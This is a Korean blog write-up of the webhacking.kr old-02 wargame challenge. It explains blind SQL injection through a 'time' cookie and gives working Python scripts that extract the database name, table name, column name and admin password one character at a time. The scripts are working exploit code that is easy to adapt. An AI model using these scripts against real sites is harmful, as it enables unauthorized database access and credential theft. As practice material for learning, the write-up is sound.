아 문제 잘못 골라가지고
일단 문제를 보면
갑자기 ip를 로깅하고 있다고 하고 있다.
무시하고 관리자 도구로 한번 확인해 보자.
admin.php를 접속하라고 친절(?) 하게 알려주고 있다.
접속해 보자
admin.php 에 접속을 했는데 password 입력란만 보이고 딱히 힌트가 있어 보이지는 않는다.
여기서 SQL injection을 해봤지만 아무것도 건지지 못했다.
그래서 이전페이지로 넘어가 이것저것 살펴보았다.
이전 페이지에서 쿠키 값을 보면 time 이 있는 걸 확인할 수 있었다.
이것밖에 발견한 게 없어서 쿠키 값을 임의의 숫자로 바꿔봤다.
쿠키값에 따라 결과가 바뀌고 있다.
논리 연산도 실험해 봤는데 True, False 값을 잘 알려주고 있는 거 같다.
그렇다면 Blind SQL Injection 이용해서 비밀번호를 알아내보자.
Blind SQL Injection 이란
True,False 인 쿼리문 입력 시 반환되는 서버의 응답이 다른 것을 이용하여 데이터를 추출하는 공격이다.
쉽게 말하면 참 또는 거짓의 입력값에 따라 응답을 통해 값을 유추해야 한다.
일단 제일 먼저 해야 할 일을 데이터베이스 내의 테이블의 수를 파악해야 한다.
2로 반환한걸 보니 테이블의 수는 총 2개인 것을 확인할 수 있었다.
(select count(table_name) from information_schema.tables where table_schema=database())
count(table_name) : 테이블의 수를 세는 함수
from information_schema.tables : 테이블의 정보가 저장된 데이터베이스에서 정보를 가져옴
테이블의 수를 알아냈으니 이제는 테이블 이름에 대해서 알아봐야 한다 현재는 테이블의 길이만 알아내는 쿼리문이다.
여기서 첫 번째 테이블 이름의 길이는 13자리 , 두 번째 테이블 이름의 길이는 3 자리인 것을 확인할 수 있다.
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)
(select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)
select length(table_name) : 이 부분에서 테이블 이름의 길이를 가져오는 것.
where table_schema=database() : 현재 사용 중인 데이터베이스의 스키마와 일치하는 테이블만 선택한다.
limit n,1 : 쿼리 결과의 범위 지정 (0~1까지 총 2개의 테이블을 대상 시킴)
이제는 테이블의 수 , 길이를 알았으니 이름을 구해야 한다.
먼저 쿼리에 2번째 테이블 1번째 글자를 출력시켜 보았다.
하지만 문자로 알려주지는 않는다 지금 컴퓨터가 알려줄 수 있는 방향은 숫자로 밖에 알려주지 못한다.
그렇다면 ASCII 코드를 이용해서 문자로 가져오도록 해보자.
'108'이라는 결과가 나온다 아스키코드를 확인해 보면 'l'를 확인할 수 있다.
이런 식으로 알아낼 것이다.
(select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 1,1)
select ascii(substr(table_name,1,1)) : 테이블 이름의 첫 번째 문자를 추출하고 , 그 문자를 ASCII 코드로 변환하여 가져옴
하지만 이렇게 문자를 전부 조회하기에는 비효율적이니 python을 이용해서 한 번에 찾을 수 있도록 해보자.
import requests
# 대상 URL
url = 'https://webhacking.kr/challenge/web-02/'
# 추측한 데이터베이스 이름을 저장할 변수
database_name = ''
# 코드 종료 여부를 제어하는 변수
completed = False
# 데이터베이스 이름을 추측하기 위한 반복문
for i in range(1, 64): # 데이터베이스 이름은 최대 64자
if completed:
break
for j in range(33, 133): # ASCII 문자 범위
# HTTP 요청에 전달될 쿠키 설정
payload = {
"cookie": "PHPSESSID=your_id; time=0||if(ord(substr((select database()),{},1))={},1,0)".format(i, j)
}
# HTTP GET 요청 보내기
response = requests.get(url, cookies=payload)
# 응답 텍스트에서 "09:00:01"을 찾아서 데이터베이스 이름 추측
if response.text.find("09:00:01") != -1:
database_name += chr(j) # 문자열 추가
print(database_name) # 현재 추측된 데이터베이스 이름 출력
break
if j == 132: # 데이터베이스 이름의 마지막 문자인 경우
completed = True # 완료 플래그 설정
break
# 최종 추측된 데이터베이스 이름 출력
print("database : {}".format(database_name))
코드에 대한 설명은 주석을 통해 확인하면 될 거 같다.
코드를 실행해 보면
이러한 결과가 나올 것이다.
그렇다면 확인된 데이터베이스 이름은 'chall2' 인 것을 알 수 있다.
데이터베이스를 알아냈으니 데이터베이스 테이블명을 구하도록 하자.
import requests
# 대상 URL
url = "https://webhacking.kr/challenge/web-02/"
# 첫 번째 테이블 이름을 저장할 변수
first_table_name = ''
# 반복문을 이용하여 테이블 이름을 한 글자씩 추측
for i in range(1, 14): # 첫 번째 테이블 이름은 13자로 알려져 있음
characters = [] # 각 자리의 글자를 저장할 리스트
for j in range(33, 133): # ASCII 문자 범위
payload = {
"cookie": "PHPSESSID=your_id;time=0|| if(ord(substr((select table_name from information_schema.tables where table_schema='chall2' limit 0,1),{},1))={},1,0)".format(
i, j)
}
response = requests.get(url, cookies=payload) # 요청 보내기
if response.text.find('09:00:01') != -1: # 응답 확인
characters.append(chr(j)) # 문자열에 추가
break
if characters: # 문자열이 비어있지 않으면
first_table_name += ''.join(characters) # 문자열로 결합
else: # 문자열이 비어있으면 루프 종료
break
# 추측된 첫 번째 테이블 이름 출력
print("First table name:", first_table_name)
이 코드를 실행하면..
테이블이름은 'admin_area_pw' 인것을 확인할 수 있다.
그러면 이제 테이블의 컬럼 수를 확인해 보자 쿼리문을 대입하면 된다.
'admin_area_pw' 컬럼의 수는 1개인 것을 확인할 수 있다.
(select count(column_name) from information_schema.columns where table_name = "admin_area_pw")
select count(column_name) : 이 부분에서 테이블의 열 수를 세는 역할을 한다.
where table_name = "admin_area_pw" : 이 부분에서 admin_area_pw를 지정시킴.
럼에 수에 대해서 확인했으니 이제 컬럼의 이름을 확인해 보도록 하자.
import requests
# 대상 URL
url = "https://webhacking.kr/challenge/web-02/"
# 종료 플래그
completed = False
# 추측된 컬럼 이름을 저장할 변수
column_name = ''
# 컬럼 이름 추측을 위한 반복문
for i in range(1, 50): # 컬럼 이름은 최대 50자
if completed:
break
characters = [] # 문자열을 저장할 리스트
for j in range(33, 133): # ASCII 문자 범위
payload = {
"cookie": "PHPSESSID=your_id;time=0|| if(ord(substr((select column_name from information_schema.columns where table_name='admin_area_pw'),{},1))={},1,0)".format(
i, j)
}
response = requests.get(url, cookies=payload) # 요청 보내기
if response.text.find("09:00:01") != -1: # 응답 확인
characters.append(chr(j)) # 문자를 리스트에 추가
break
if characters: # 문자가 있다면
column_name += ''.join(characters) # 문자열로 결합
else: # 문자가 없다면
completed = True # 종료 플래그 설정
break
# 추측된 컬럼 이름 출력
print("Column name:", column_name)
코드를 실행시켜 럼의 이름을 확인해 보자.
심플하게 'pw'라는 이름인걸 확인할 수 있다.
다시 돌아와서 럼 이름을 알아냈으니 컬럼의 데이터가 몇 개인지 파악해 보자.
1초라고 되어있으니 1개가 있다고 알 수 있다.
(select count(pw) from admin_area_pw)
from admin_area_pw : 이 부분에서는 pw 열의 값을 가져오는 역할을 한다.
자 이제 비밀번호를 알아낼 차례이다.
럼 'pw'에 데이터 내용을 추출해 보자.
import requests
# 대상 URL
url = "https://webhacking.kr/challenge/web-02/"
# 종료 플래그
completed = False
# 추측된 비밀번호를 저장할 변수
password = ''
# 비밀번호 추측을 위한 반복문
for i in range(1, 50): # 비밀번호는 최대 50자
if completed:
break
characters = [] # 문자열을 저장할 리스트
for j in range(33, 133): # ASCII 문자 범위
payload = {
"cookie": "PHPSESSID=your_id;time=0|| if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(
i, j)
}
response = requests.get(url, cookies=payload) # 요청 보내기
if response.text.find("09:00:01") != -1: # 응답 확인
characters.append(chr(j)) # 문자를 리스트에 추가
break
if characters: # 문자가 있다면
password += ''.join(characters) # 문자열로 결합
else: # 문자가 없다면
completed = True # 종료 플래그 설정
break
# 추측된 비밀번호 출력
print("Password:", password)
비밀번호가 나왔다.
admin.php 에 비밀번호를 입력해 보자.
문제를 풀었다.
아니 나만 어렵나?
'Wargame > Webhacking.kr' 카테고리의 다른 글
webhacking.kr - old 06 (base64) (0) | 2024.03.06 |
---|---|
webhacking.kr - old 14 (code) (0) | 2024.03.05 |
webhacking.kr - old 17 (Chrome Console) (0) | 2024.03.05 |
webhacking.kr - old15 (Javascript) (0) | 2024.03.05 |
Webhacking.kr - old01 (Cookie Poisoning) (1) | 2024.01.30 |